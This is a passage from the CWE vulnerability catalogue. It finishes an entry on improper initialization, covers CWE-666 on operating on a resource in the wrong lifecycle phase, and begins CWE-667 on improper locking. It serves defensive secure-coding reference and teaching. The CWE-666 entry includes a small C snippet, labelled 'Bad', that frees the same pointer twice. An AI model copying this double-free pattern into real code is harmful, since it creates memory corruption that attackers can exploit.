CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application. *https://www.cve.org/CVERecord?id=CVE-2008-0081*
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop. *https://www.cve.org/CVERecord?id=CVE-2008-3688*
CVE-2008-3475	chain: Improper initialization leads to memory corruption. *https://www.cve.org/CVERecord?id=CVE-2008-3475*
CVE-2008-5021	Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory. *https://www.cve.org/CVERecord?id=CVE-2008-5021*
CVE-2005-1036	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap *https://www.cve.org/CVERecord?id=CVE-2005-1036*
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2008-3597*
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution *https://www.cve.org/CVERecord?id=CVE-2009-2692*
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-0949*

Reference	Description
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-3620*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2365
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2367
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2374
MemberOf	C	846	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)	844	2383
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2396
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2421
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1135	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)	1133	2465
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incorrect initialization
CERT C Secure Coding	ARR02-C		Explicitly specify array bounds, even if implicitly defined by an initializer
The CERT Oracle Secure Coding Standard for Java (2011)	DCL00-J		Prevent class initialization cycles
Software Fault Patterns	SFP4		Unchecked Status Condition

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip >.

[REF-437]Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008 March 1. < https://msrc.microsoft.com/blog/2008/03/ms08-014-the-case-of-the-uninitialized-stack-variable-vulnerability/ >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-666: Operation on Resource in Wrong Phase of Lifetime

Weakness ID : 666
Structure : Simple
Abstraction : Class

Description

The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

Extended Description

A resource's lifecycle includes several phases: initialization, use, and release. For each phase, it is important to follow the specifications outlined for how to operate on the resource and to ensure that the resource is in the expected phase. Otherwise, if a resource is in one phase but the operation is not valid for that phase (i.e., an incorrect phase of the resource's lifetime), then this can produce resultant weaknesses. For example, using a resource before it has been fully initialized could cause corruption or incorrect data to be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463
ParentOf	V	415	Double Free	1015
ParentOf	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1339
ParentOf	V	605	Multiple Binds to the Same Port	1364
ParentOf	C	672	Operation on a Resource after Expiration or Release	1488
ParentOf	B	826	Premature Release of Resource During Expected Lifetime	1743

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Follow the resource's lifecycle from creation to release.

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

Reference	Description
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415). *https://www.cve.org/CVERecord?id=CVE-2006-5051*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	2432
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2479
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory

CWE-667: Improper Locking

Weakness ID : 667
Structure : Simple
Abstraction : Class

Description

The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

Extended Description

Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared